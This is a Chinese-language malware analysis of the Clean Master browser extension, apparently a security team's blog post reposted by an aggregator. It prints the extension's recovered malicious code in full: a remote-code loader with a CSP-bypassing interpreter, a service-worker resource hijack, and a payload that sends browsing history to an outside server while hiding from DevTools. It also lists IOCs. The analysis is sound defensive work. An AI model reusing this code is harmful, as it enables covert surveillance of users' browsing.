文章总结: 这篇文章深入分析了CleanMaster浏览器扩展的恶意行为,揭示了其从合法工具转变为恶意软件的过程。攻击者通过植入恶意代码实现了用户数据窃取、远程代码执行和跨设备追踪,并采用CSP绕过和反分析技术规避检测。文章建议用户检查浏览器插件列表,及时移除可疑扩展,并提高对浏览器扩展安全的警惕性。 综合评分: 95 文章分类: 恶意软件,漏洞分析,威胁情报,WEB安全,数据安全
数十万人安装的 Clean Master 恶意插件样本深度分析(含样本文件链接)
原创
i3 & jyl1st
SecNL安全团队
2025年12月3日 11:02 北京
1. 背景与概述
昨晚正和小伙伴愉快地聊天,突然听他说自己常用的 Infinity 插件被 Edge 浏览器标记为恶意软件,直接给禁用了。边沟通边搜集资料,发现国外安全团队 Koi Security 发布了一份关于浏览器恶意插件的披露报告,揭露了一个名为 ShadyPanda的威胁组织。该组织策划并实施了长达七年的恶意网络活动,插件最初提供合法的数据清理功能,甚至曾获得官方应用商店的推荐,但攻击者后期利用平台对更新包审核机制宽松的问题,在后续版本中植入了恶意代码,可以实现用户信息窃取,甚至 RCE。
本着“吃瓜吃到自己身上”的原则,我检查了一下自己的浏览器扩展列表。好家伙,赫然发现自己电脑上也躺着一个报告里的核心恶意插件——Clean Master
喜提恶意样本一个!那只能边哭边把这个样本给分析了,恶意文件放在了后台,可以私信 Clean Master 获取
2. 样本信息
- • 名称: Clean Master
- • 版本: 22.9.29.1452
- • 核心恶意文件:
background/fuck.js,background/interpreter.js,background\encrypt-bundle.js
3. 攻击链复盘
阶段一:植入 (Installation)
- 1. 潜伏更新: 长期潜伏成正常的浏览器清理工具
Clean Master,等到用户量足够后,开宰用户,在插件更新的时候植入恶意代码(fuck.js 总觉得也是一种嘲讽)。 - 2. 权限获取: 插件通过
manifest.json申请高危权限:<all_urls>(访问所有网站)、webRequest(拦截网络请求)、storage(本地存储)等。
阶段二:激活 (Activation)
- 3. 恶意加载: 浏览器插件启动后台服务
background/bg.js,其第一行代码即优先加载恶意脚本:
importScripts("/background/fuck.js", ...)
- 4. 辅助模块加载: 同时加载
encrypt-bundle.js(CryptoJS 加密库)和interpreter.js(JS 解释器),为后续攻击做准备。
阶段三:指挥控制 (C2 Communication)
- 5. C2 通信:
fuck.js中的xxx()函数向硬编码的 C2 服务器发起请求:
https://api.extensionplay.com/clean_master/t.json
- 6. Payload 下载: 解析返回的 JSON 配置,根据
src字段进一步下载实际的恶意代码字符串。 - 7. 本地持久化: 将下载的配置和代码存入
chrome.storage.local(Key:"fuck"),物理存储于浏览器的 LevelDB 数据库中,实现离线持久化。 - 8. 定时更新: 设置
nextUpdateTime,每小时自动检查 C2 获取最新指令,下载并执行具有完整浏览器访问权限的任意 JavaScript 代码。
阶段四:执行 (Execution)
- 9. CSP 绕过执行: 利用内置的
interpreter.js解释器执行下载的代码,绕过 Manifest V3 禁止eval/new Function的安全策略:
interpreter.run(e.src_str, globalThis || self || window || {})
- 10. 资源劫持 (中间人攻击): 通过 Service Worker 的
fetch事件监听器,拦截对插件内部资源(如/baidu.js)的请求,将其替换为缓存的恶意代码。 - 11. 跨组件分发: 通过
chrome.runtime.onMessage监听机制,将恶意代码分发给插件的其他组件(Popup、Content Script 等)执行。
阶段五:恶意行为 (Malicious Actions)
- 12. 全流量监控: Payload 注册
webRequest.onCompleted监听器,使用urls: ["<all_urls>"]监控用户访问的所有网站。 - 13. 数据窃取: 收集并回传用户敏感信息
- 14. 跨设备追踪: 生成的 UUID 存储于
chrome.storage.sync,随用户账号同步到所有设备,实现跨设备身份关联。 - 15. 加密回传: 使用硬编码密钥
2646294A404E635266546A576E5A7234加密数据后,回传至https://api.cleanmasters.store/abc。
阶段六:反分析 (Anti-Analysis)
- 16. DevTools 检测: 监听
on-devtools-open消息,一旦检测到开发者工具开启,立即停止数据回传,规避安全分析人员的动态抓包流量分析。
注: 虽然笔者尝试从恶意接口直接下载样本失败(C2 可能已下线或更换),但通过解析本地浏览器 LevelDB 数据库(路径:Local Extension Settings/<插件ID>/)成功提取到了历史缓存的恶意 Payload,完整还原了上述攻击链。
4. 静态代码分析
4.1 入口与权限 (manifest.json & background/bg.js)
manifest.json 申请了极高的权限,包括对所有网站的访问权 (<all_urls>) 和拦截网络请求的能力 (webRequest)。
{
"host_permissions": ["<all_urls>"],
"permissions": [
"browsingData", // 访问浏览数据
"background", // 后台运行
"storage", // 无限存储
"webNavigation", // 监控导航
"webRequest" // 拦截请求
]
}
插件的后台服务 (service_worker) 指向 background/bg.js。
在 background/bg.js 中,第一行代码即暴露了其恶意意图:
importScripts("/background/fuck.js","/lib/js/lib.js","/background/bg-setting.js", ...);
它在初始化正常功能之前,优先加载了名为 fuck.js 的恶意脚本。
4.2 恶意加载器核心逻辑 (background/fuck.js)
这是该样本的核心恶意组件,负责与 C2 服务器通信、下载并执行 Payload。
4.2.1 C2 通信与 Payload 下载
脚本定义了一个异步函数 xxx,向硬编码的 C2 地址发起请求:
const xxx=async()=>{
let e=await get(key);
// 检查是否需要更新(每小时更新一次)
if(!e||!e.nextUpdateTime||e.nextUpdateTime<Date.now()){
// 从远程服务器获取恶意代码配置
const t=await fetch("https://api.extensionplay.com/clean_master/t.json?t="+Date.now())
.then(e=>e.json());
// 下载远程代码
await Promise.all(t.map(r=>new Promise((e,t)=>{
if(!r.src_str&&r.src){
const n=new URL(r.src);
n.searchParams.set("t",Date.now()),
fetch(n.toString()).then(e=>e.ok&&e.text())
.then(e=>e&&(r.src_str=e)).then(e).catch(t)
}else e()
})))
// 设置下次更新时间为1小时后
e={nextUpdateTime:Date.now()+36e5,data:t},
await set(key,e)
}
// 执行下载的代码
runOnce||(runOnce=!0,e.data.forEach(e=>{
if(Array.isArray(e.run_on)){
if(!e.run_on.includes("bg"))return
}else if("bg"!==e.run_on)return;
e.src_str&&interpreter.run(e.src_str,globalThis||self||window||{})
}))
}
- • 更新频率: 代码中设置了
nextUpdateTime,默认每 1 小时(36e5 毫秒)检查一次更新。 - • 数据获取: 获取的 JSON 数据包含待执行代码的 URL (
src),脚本会进一步 fetch 该 URL 获取实际的代码字符串,并将其存入src_str字段。 - • 数据存储:
set(key,e)在逻辑位置存储到了浏览器的本地扩展存储区 (chrome.storage.local),物理位置保存在浏览器用户配置文件目录下的 LevelDB 数据库文件中,具体路径通常位于:…/User Data/Default/Local Extension Settings/<插件ID>
4.2.2 CSP 绕过与代码执行
为了规避 Manifest V3 禁止使用 eval 或 new Function 执行远程代码的安全策略,攻击者引入了一个用 JavaScript 编写的 JS 解释器 (interpreter.js):
importScripts("/background/encrypt-bundle.js", "/background/interpreter.js");
// ...
e.data.forEach((e) => {
if (Array.isArray(e.run_on)) {
if (!e.run_on.includes("bg")) return;
} else if ("bg" !== e.run_on) return;
// 使用解释器执行远程代码
e.src_str &&
interpreter.run(e.src_str, globalThis || self || window || {});
})
fuck.js 中还有个监听分发机制,startListener 监听 chrome.runtime.onMessage,这是 Chrome 插件各组件间通信的标准方式。当插件的其他组件发送消息并携带 run_on 参数时,startListener 会查询本地缓存的恶意配置,筛选出所有 run_on 字段匹配请求方环境的配置项,筛选出的恶意代码(包含源码字符串 src_str)会被通过 sendResponse 发回给请求方。这个函数并没有被显式调用,感觉更像是恶意代码分发服务中台、当插件的其他上下文需要执行恶意代码时,它们会向后台发送请求,startListener 负责根据请求方的运行环境(run_on)筛选并返回对应的恶意 Payload,猜测可能是为了后续定向攻击留存的吧,毕竟恶意代码也可以定期下发,可以每次接收不同的恶意代码,收集更多类型的信息。
//...
async function startListener() {
chrome.runtime.onMessage.addListener(function (r, e, s) {
return (
get(key) // key = "fuck",从本地存储读取恶意配置
.then((e) => {
const t = (e && e.data) || [], // 获取 Payload 数组
n = r["run_on"]; // 从消息中获取请求的 run_on 类型
s(
t.filter((e) => {
if (Array.isArray(e.run_on)) {
if (e.run_on.includes(n)) return !0;
} else if (e.run_on === n) return !0;
})
);
})
.catch(noop),
!0
);
});
}
4.2.3 中间人攻击与资源劫持 (Official Analysis Code Basis)
官方分析中提到的“中间人攻击:通过 service worker 可拦截和修改网络请求,用恶意脚本替换合法的 JavaScript 文件”的机制,其代码依据主要位于 background/fuck.js 文件中。
这段代码利用了 Service Worker 的 fetch 事件监听器,拦截对插件自身资源的请求,并将其替换为从远程服务器下载的恶意代码。
self.addEventListener("fetch", (e) => {
if (fuckDataArr) {
const n = e.request;
// 1. 检查请求的 URL 是否匹配配置中的 proxy_url
var t = fuckDataArr.find(
(e) => chrome.runtime.getURL(e.proxy_url) === n.url
);
// 2. 如果匹配成功(即目标是插件的某个合法文件)
if (t) {
const r = new Headers();
"css" === t.type
? r.set("Content-Type", "text/css")
: r.set("Content-Type", "text/javascript"),
// 3. 实施“中间人攻击”:
// 不让请求去加载本地磁盘上的真实文件,而是直接返回内存中缓存的恶意代码 (t.src_str)
e.respondWith(new Response(t.src_str, { headers: r }));
}
}
});
攻击原理分析:
- 1. 拦截请求:
self.addEventListener("fetch", ...)是 Service Worker 的标准 API,用于拦截当前作用域下的所有网络请求。 - 2. 恶意替换:
e.respondWith(new Response(t.src_str, ...))是攻击的核心。t.src_str是之前从 C2 服务器 (api.extensionplay.com) 下载并存储在本地的恶意代码字符串。当浏览器尝试加载插件内的某个合法文件(如lib/js/lib.js,由e.proxy_url指定)时,Service Worker 会直接返回这个恶意字符串,而不是文件系统中的原始文件。 - 3. 危害后果: 通过上述替换,攻击者可以将原本无害的功能脚本替换为窃取 Cookie 或注入广告的恶意脚本。由于这些脚本运行在扩展的上下文中或被注入到页面中,拥有极高的权限,可以访问敏感数据,从而实施凭证窃取、会话劫持等攻击。
4.3 执行引擎 (background/interpreter.js)
一个完整的 JavaScript 解释器实现,专门用于在 MV3 扩展等受限环境中执行动态下发的代码,绕过 CSP 限制。攻击者可在不更新插件的情况下随时改变攻击逻辑。
4.4 辅助模块
4.4.1 加密库 (background/encrypt-bundle.js)
打包好的 CryptoJS 密码学库,提供 AES、SHA 等加密算法,用于解密 C2 下发的 Payload 及加密窃取数据后回传。
4.4.2 伪装的追踪器拦截 (background/tracker.js)
精心设计的”伪装模块”,让插件看起来像合法隐私保护工具。
关键发现 – 被动监测而非拦截:
代码注册 chrome.webRequest.onBeforeRequest 监听器,但未申请["blocking"] 权限:
chrome.webRequest.onBeforeRequest.addListener(t=>{
var{tabId:t,url:e,type:r,initiator:i,frameId:a}=t;
// ... 逻辑判断 ...
if(e){
const o=trackerMap[t]||{};
// 仅仅是将域名加入列表
o.trackerList.includes(a)||(o.trackerList.push(a),trackerMap[t]=o)
}
},{urls:["http://*/*","https://*/*"]}) // 缺少 ["blocking"]
这意味着它无法真正拦截或取消网络请求,只能旁路监听,猜测可能为申请高危的 webRequest 和 webNavigation 权限提供正当理由,降低应用商店审核人员的警惕,并且还可以将访问的网站URL存储到本地,可以后续窃取。
工作流程:
1. 加载本地规则文件 background/seed.json。
2. 监听所有网络请求,判断是否为第三方请求。
3. 如果请求域名匹配规则中的 "block" 动作,它仅仅是将该域名记录到内存中的 trackerMap 对象里。
4. 通过 getTrackerList 消息接口,将记录的“追踪器”列表返回给前端(Popup 页面)。
4.5 恶意 Payload 深度分析 (基于本地提取样本)
通过对本地 LevelDB 日志中提取的恶意代码 (src_str) 进行反混淆与分析,还原了该 Payload 的完整攻击逻辑。
提取的配置结构 (来自 LevelDB 日志 012834.log):
{
"data": [
{
"match": "\\.baidu.com$",
"proxy_url": "/baidu.js",
"run_on": "bg",
"src": "https://api.extensionplay.com/js/encrypt-statistics-v3.js",
"src_str": "var key = \"2646294A404E635266546A576E5A7234\";\nvar consoleCount = {};\n\nchrome.runtime.onMessage.addListener(function (msg) {\n if (msg.type === \"on-devtools-open\") {\n if (consoleCount.hasOwnProperty(msg.id)) {\n clearTimeout(consoleCount[msg.id]);\n }\n consoleCount[msg.id] = setTimeout(function () {\n delete consoleCount[msg.id];\n chrome.storage.local.set({ consoleCount: consoleCount });\n }, 1100);\n chrome.storage.local.set({ consoleCount: consoleCount });\n }\n});\n\nvar Statistics = {\n apiList: [\"https://api.cleanmasters.store\"],\n uuid: \"\",\n refs: {},\n init: function () {\n this.getUUIDfromStore();\n\n chrome.webRequest.onCompleted.addListener(\n this.handlerOnCompletedWebRequest.bind(this),\n {\n urls: [\"<all_urls>\"],\n types: [\"main_frame\"],\n }\n );\n },\n\n handlerOnCompletedWebRequest: function (x) {\n this.sendData({\n user_id: this.uuid,\n target_url: encodeURI(x.url),\n referrer_url: this.refs[x.tabId] || x.initiator,\n user_agent: navigator.userAgent,\n method: x.method,\n status_code: x.statusCode,\n ext_id: chrome.runtime.id,\n client_timestamp: x.timeStamp,\n });\n\n this.refs[x.tabId] = encodeURI(x.url);\n },\n\n getUUIDfromStore: function () {\n var self = this;\n chrome.storage.sync.get([\"uuid\"], function (data) {\n self.uuid = data.uuid =\n data.uuid && self.validateUUID4(data.uuid)\n ? data.uuid\n : self.makeUUID();\n chrome.storage.sync.set({ uuid: data.uuid }, function () {});\n });\n },\n\n validateUUID4: function (t) {\n return new RegExp(\n /^[0-9A-F]{8}-[0-9A-F]{4}-4[0-9A-F]{3}-[89AB][0-9A-F]{3}-[0-9A-F]{12}$/i\n ).test(t);\n },\n\n makeUUID: function () {\n return \"xxxxxxxx-xxxx-4xxx-yxxx-xxxxxxxxxxxx\".replace(\n /[xy]/g,\n function (t, e) {\n return (\n \"x\" == t ? (e = (16 * Math.random()) | 0) : (3 & e) | 8\n ).toString(16);\n }\n );\n },\n\n sendData: function (t) {\n var self = this;\n chrome.storage.local.get(\"consoleCount\", function (data) {\n if (!data.consoleCount || Object.keys(data.consoleCount).length < 1) {\n var q = {\n data: JSON.stringify(t),\n };\n\n try {\n q.data = browserify_bridge.encode(q.data, key);\n q.type = \"v3\";\n } catch (err) {\n q.data = btoa(q.data);\n }\n\n var requests = self.apiList.map(function (api) {\n return fetch(api + \"/abc\", {\n method: \"post\",\n headers: {\n \"Content-Type\": \"application/json;charset=utf-8\",\n },\n body: JSON.stringify(q),\n });\n });\n\n var requestsPromise = Promise.allSettled(requests);\n requestsPromise.catch(function () {});\n }\n });\n },\n};\n\nStatistics.init();\n"
}
],
"nextUpdateTime": 1750218220829.0
}
- • 关于
match字段的说明: 在提取的配置中存在"match": "\\.baidu.com$"字段,但经审计发现:
- 1. 静态代码中未使用: 在
fuck.js的 Service Worker 逻辑中,并未发现任何使用该正则表达式进行 URL 匹配的代码。 - 2. 当前 Payload 为全量监控: 提取到的
src_str代码使用urls: ["<all_urls>"]监听所有网站流量,而非仅针对baidu.com。 - 3. 字段用途存疑:
match字段可能是 C2 配置框架的保留字段,用于服务端管理、未来功能扩展,或用于其他未被提取到的 Payload 配置中。由于 C2 服务器已不可访问,无法获取完整的配置历史,其确切用途尚不明确。
4.5.1 反分析与逃逸机制
代码中包含一段针对开发者工具 (DevTools) 的检测逻辑,用于在安全分析人员调试时隐藏恶意行为。
chrome.runtime.onMessage.addListener(function (msg) {
if (msg.type === "on-devtools-open") {
// ... 更新 consoleCount 状态 ...
chrome.storage.local.set({ consoleCount: consoleCount });
}
});
// 在发送数据前检查
sendData: function (t) {
chrome.storage.local.get("consoleCount", function (data) {
// 如果检测到 DevTools 开启 (consoleCount 不为空),则停止发送数据
if (!data.consoleCount || Object.keys(data.consoleCount).length < 1) {
// ... 执行发送逻辑 ...
}
});
}
- • 原理: 插件监听
on-devtools-open消息(可能由插件的其他组件触发),一旦检测到开发者工具开启,就在本地存储中标记。 - • 目的: 在
sendData函数中,代码会检查这个标记。如果发现正在被调试,它会直接静默停止数据回传,导致分析人员抓不到网络包。
4.5.2 全流量数据窃取
Payload 注册了 chrome.webRequest.onCompleted 监听器,监控浏览器中所有的主框架 (main_frame) 请求。
chrome.webRequest.onCompleted.addListener(
this.handlerOnCompletedWebRequest.bind(this),
{
urls: ["<all_urls>"], // 监听所有 URL
types: ["main_frame"],
}
);
窃取的数据字段极其详尽,足以完整画像用户的浏览行为:
handlerOnCompletedWebRequest: function (x) {
this.sendData({
user_id: this.uuid, //用户唯一标识
target_url: encodeURI(x.url), //目标 URL
referrer_url: this.refs[x.tabId] || x.initiator, //来源 URL
user_agent: navigator.userAgent, //User Agent
method: x.method, //HTTP 方法
status_code: x.statusCode, //状态码
ext_id: chrome.runtime.id, // 当前恶意插件的唯一 ID
client_timestamp: x.timeStamp, //记录数据被窃取的精确时间
});
}
4.5.3 持久化身份追踪
代码会生成一个 UUID 并存储在 chrome.storage.sync 中。
chrome.storage.sync.get(["uuid"], function (data) {
self.uuid = data.uuid = data.uuid ? data.uuid : self.makeUUID();
chrome.storage.sync.set({ uuid: data.uuid }, function () {});
});
- • 危害: 使用
storage.sync意味着这个唯一的追踪 ID 会随着用户的 Google/Edge 账号同步到所有设备。攻击者不仅能追踪单台设备,还能跨设备关联用户的身份。
4.5.4 加密数据回传
- • C2 服务器:
https://api.cleanmasters.store/abc - • 加密方式: 使用硬编码密钥
2646294A404E635266546A576E5A7234对数据进行加密。
var key = "2646294A404E635266546A576E5A7234";
// ...
q.data = browserify_bridge.encode(q.data, key); // 加密
5. 关联事件与争议说明 (WeTab / Infinity)
在本次披露的报告中,除了 Clean Master 被实锤包含恶意代码外,知名的 WeTab 和 Infinity 扩展也被列入了 ShadyPanda 组织的关联名单中。报告指控这些扩展可能涉及数据收集等行为(被称为“阶段 2”和“阶段 4”的活动)。
然而,针对这一指控及随后的下架处理,WeTab 和 Infinity 官方已发布声明进行澄清。为了保持客观中立,现将官方声明要点摘录如下,供读者参考:
- 1. 账号关联导致误伤: 官方表示,WeTab 与 Infinity 的下架是因为它们与 Clean Master 曾使用同一开发者账号上架。当 Clean Master 因恶意代码被封禁时,平台出于风控策略,对该账号下的所有扩展采取了“连坐”措施。
- 2. 否认恶意行为: 声明强调,WeTab 与 Infinity 的下架并非因为这两款扩展自身存在恶意代码或安全问题。
- 3. 代码安全承诺: 官方承诺,用户本地已安装的 WeTab / Infinity 版本代码保持不变,不存在临时植入后门或新增恶意行为的情况。
- 4. 积极申诉中: 目前开发团队已向平台提交了技术说明与安全自查结果,正在积极沟通以恢复上架。
笔者注:
- • 对于 Clean Master,本文的分析已证实其包含明确的恶意加载器 (
fuck.js) 和 CSP 绕过机制 (interpreter.js),属于确凿的恶意软件。 - • 对于 WeTab / Infinity,目前尚未在公开样本中发现与 Clean Master 相同的恶意加载器代码。建议用户关注官方后续的申诉结果及安全厂商的进一步分析。
6. 威胁指标 (IOCs)
-
• C2 Domain:
-
• 更多的可以参考原文
-
•
api.extensionplay.com(Clean Master 核心 C2) -
•
api.cleanmasters.store(Payload 中发现的数据回传域名) -
•
cleanmasters.store(报告提及的数据回传域名) -
• URL:
-
•
https://api.extensionplay.com/clean_master/t.json -
•
https://api.cleanmasters.store/abc(数据回传接口) -
• Encryption Key:
2646294A404E635266546A576E5A7234(用于加密回传数据) -
• 恶意文件特征:
-
• 文件名:
fuck.js -
• 本地存储 Key:
"fuck" -
• 代码特征: 使用
interpreter.run执行远程代码。
7. 总结与碎碎念
这种攻击手法其实并没有那么复杂,主要利用了平台对更新的审查不严,但沉淀了这么久才开始动手。。。确实防不胜防
最后给大伙儿提个醒: 赶紧查查自己的浏览器插件列表,看到edge的插件封禁安全提示,就说明你有可能中招了,看看自己有没有安装Clean Master插件吧。😭
参考链接
https://www.koi.ai/blog/4-million-browsers-infected-inside-shadypanda-7-year-malware-campaign#heading-1
查看原文:《数十万人安装的 Clean Master 恶意插件样本深度分析(含样本文件链接)》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。










评论